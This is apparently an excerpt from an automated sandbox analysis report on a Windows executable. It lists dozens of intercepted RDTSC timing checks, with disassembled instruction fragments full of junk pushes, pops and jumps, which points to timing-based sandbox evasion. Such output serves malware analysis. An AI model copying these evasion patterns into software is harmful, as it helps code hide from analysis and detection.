Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1060FB8 second address: 1060FD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F0D84D62016h 0x0000000a jmp 00007F0D84D62021h 0x0000000f rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1060FD3 second address: 1060FD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1061149 second address: 1061152 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1061152 second address: 1061157 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1061157 second address: 106115D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 106115D second address: 1061163 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1061163 second address: 1061167 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1061167 second address: 106116B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 106116B second address: 10611A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F0D84D62022h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F0D84D62026h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10611A0 second address: 10611A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10611A4 second address: 10611AE instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0D84D62016h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1061306 second address: 106130E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 106130E second address: 1061314 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1061314 second address: 1061321 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push ecx 0x00000007 pushad 0x00000008 popad 0x00000009 pop ecx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10615DE second address: 10615E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10615E4 second address: 1061600 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D8517B916h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1061600 second address: 1061606 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1061606 second address: 1061625 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D8517B911h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnl 00007F0D8517B906h 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1068908 second address: 1068920 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F0D84D62022h 0x0000000b rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1068DFC second address: 1068E02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1068E02 second address: 1068E35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F0D84D62016h 0x0000000a jc 00007F0D84D62016h 0x00000010 popad 0x00000011 jp 00007F0D84D6202Ah 0x00000017 jmp 00007F0D84D62022h 0x0000001c pushad 0x0000001d popad 0x0000001e jng 00007F0D84D6201Ch 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1069216 second address: 106921C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1069354 second address: 1069361 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jnl 00007F0D84D62016h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1069361 second address: 1069369 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 106A4ED second address: 106A4F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 106A4F2 second address: 106A4F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 106A4F8 second address: 106A516 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F0D84D62025h 0x0000000e rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1070C7F second address: 1070C95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0D8517B912h 0x00000009 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1070C95 second address: 1070C9D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1070C9D second address: 1070CA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1070F26 second address: 1070F4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0D84D62029h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jnl 00007F0D84D62016h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1070F4E second address: 1070F52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 107D8CB second address: 107D8DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0D84D6201Bh 0x00000009 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 107D8DA second address: 107D8F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D8517B911h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pop edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 107D41F second address: 107D423 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 107D423 second address: 107D429 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 107D429 second address: 107D42F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 107D42F second address: 107D47A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0D8517B915h 0x00000008 pushad 0x00000009 popad 0x0000000a js 00007F0D8517B906h 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 push eax 0x00000015 jmp 00007F0D8517B914h 0x0000001a pop eax 0x0000001b pushad 0x0000001c pushad 0x0000001d popad 0x0000001e jmp 00007F0D8517B90Ch 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 107D5A9 second address: 107D5C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 pushad 0x00000007 ja 00007F0D84D62016h 0x0000000d jg 00007F0D84D62016h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 107D5C2 second address: 107D5DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F0D8517B906h 0x0000000a push esi 0x0000000b pop esi 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F0D8517B90Bh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 107D5DE second address: 107D5E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1082A61 second address: 1082A71 instructions: 0x00000000 rdtsc 0x00000002 je 00007F0D8517B906h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1082A71 second address: 1082A75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 108249B second address: 10824A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10824A7 second address: 10824B9 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F0D84D62016h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnc 00007F0D84D6201Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10957AB second address: 10957B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F0D8517B906h 0x0000000a rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10957B5 second address: 10957BB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10957BB second address: 1095804 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F0D8517B90Ch 0x0000000c jbe 00007F0D8517B906h 0x00000012 push esi 0x00000013 pushad 0x00000014 popad 0x00000015 push edx 0x00000016 pop edx 0x00000017 pop esi 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F0D8517B912h 0x00000020 push esi 0x00000021 jmp 00007F0D8517B914h 0x00000026 jbe 00007F0D8517B906h 0x0000002c pop esi 0x0000002d rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 109C9A0 second address: 109C9AA instructions: 0x00000000 rdtsc 0x00000002 ja 00007F0D84D62016h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 109C9AA second address: 109C9B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F0D8517B906h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 109CB04 second address: 109CB0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 109CDEF second address: 109CDF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10A1AD5 second address: 10A1ADE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10A1ADE second address: 10A1AEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0D8517B90Ah 0x00000009 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10A1AEC second address: 10A1AF2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10A1AF2 second address: 10A1B0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F0D8517B91Bh 0x0000000c jmp 00007F0D8517B90Fh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10A1B0F second address: 10A1B17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10A6B76 second address: 10A6B98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 jnl 00007F0D8517B906h 0x0000000c jmp 00007F0D8517B90Dh 0x00000011 pop ecx 0x00000012 popad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 pop eax 0x0000001a rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10A6B98 second address: 10A6BAE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jne 00007F0D84D62016h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jno 00007F0D84D62016h 0x00000016 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10A6BAE second address: 10A6BB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10A6BB2 second address: 10A6BC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jl 00007F0D84D62018h 0x0000000e push edx 0x0000000f pop edx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10B36FF second address: 10B3707 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10AC5F8 second address: 10AC5FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10C0734 second address: 10C075B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push esi 0x00000007 push edx 0x00000008 pop edx 0x00000009 jp 00007F0D8517B906h 0x0000000f pop esi 0x00000010 pushad 0x00000011 jng 00007F0D8517B906h 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a pushad 0x0000001b pushad 0x0000001c popad 0x0000001d pushad 0x0000001e popad 0x0000001f pushad 0x00000020 popad 0x00000021 popad 0x00000022 pushad 0x00000023 pushad 0x00000024 popad 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10C08AC second address: 10C08D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F0D84D6201Eh 0x0000000a jmp 00007F0D84D62024h 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 push esi 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10C08D8 second address: 10C08DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10CD62F second address: 10CD635 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10CD635 second address: 10CD655 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F0D8517B917h 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10CD655 second address: 10CD659 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10CD4F8 second address: 10CD4FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10D15E9 second address: 10D15F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jns 00007F0D84D62016h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10D1CE2 second address: 10D1CEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnl 00007F0D8517B906h 0x0000000d rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10D1CEF second address: 10D1CF9 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F0D84D62016h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10D1E8A second address: 10D1EAC instructions: 0x00000000 rdtsc 0x00000002 jno 00007F0D8517B906h 0x00000008 jmp 00007F0D8517B913h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 push edi 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10D37A7 second address: 10D37BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D84D6201Dh 0x00000007 pushad 0x00000008 jbe 00007F0D84D62016h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10D6070 second address: 10D6076 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10D6397 second address: 10D639D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10D639D second address: 10D63A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10D63A1 second address: 10D63A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10D63A5 second address: 10D63E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push esi 0x0000000c call 00007F0D8517B908h 0x00000011 pop esi 0x00000012 mov dword ptr [esp+04h], esi 0x00000016 add dword ptr [esp+04h], 00000014h 0x0000001e inc esi 0x0000001f push esi 0x00000020 ret 0x00000021 pop esi 0x00000022 ret 0x00000023 jmp 00007F0D8517B910h 0x00000028 push 00000004h 0x0000002a push 0A3AD682h 0x0000002f push esi 0x00000030 push eax 0x00000031 push edx 0x00000032 push edx 0x00000033 pop edx 0x00000034 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10D66B4 second address: 10D66B9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 5720308 second address: 5720322 instructions: 0x00000000 rdtsc 0x00000002 call 00007F0D8517B90Ch 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 5720322 second address: 5720326 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 5720326 second address: 5720340 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D8517B916h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FF13B6 second address: FF13DB instructions: 0x00000000 rdtsc 0x00000002 jng 00007F0D84D62016h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F0D84D62029h 0x00000011 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FF13DB second address: FF13FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D8517B918h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push esi 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FF0535 second address: FF055A instructions: 0x00000000 rdtsc 0x00000002 jc 00007F0D8517B91Bh 0x00000008 jmp 00007F0D8517B915h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edi 0x00000011 push eax 0x00000012 push edx 0x00000013 push esi 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FF3634 second address: FF364D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0D84D62025h 0x00000009 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FF9A33 second address: FF9A4C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F0D84D62021h 0x0000000d rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FFD2BC second address: FFD2D7 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F0D8517B908h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jbe 00007F0D8517B912h 0x00000013 jl 00007F0D8517B90Ch 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1003003 second address: 1003025 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F0D8517B906h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b nop 0x0000000c push 00000000h 0x0000000e mov edi, 27F6B101h 0x00000013 push 00000000h 0x00000015 stc 0x00000016 mov dword ptr [ebp+122D1871h], ebx 0x0000001c push eax 0x0000001d push ebx 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
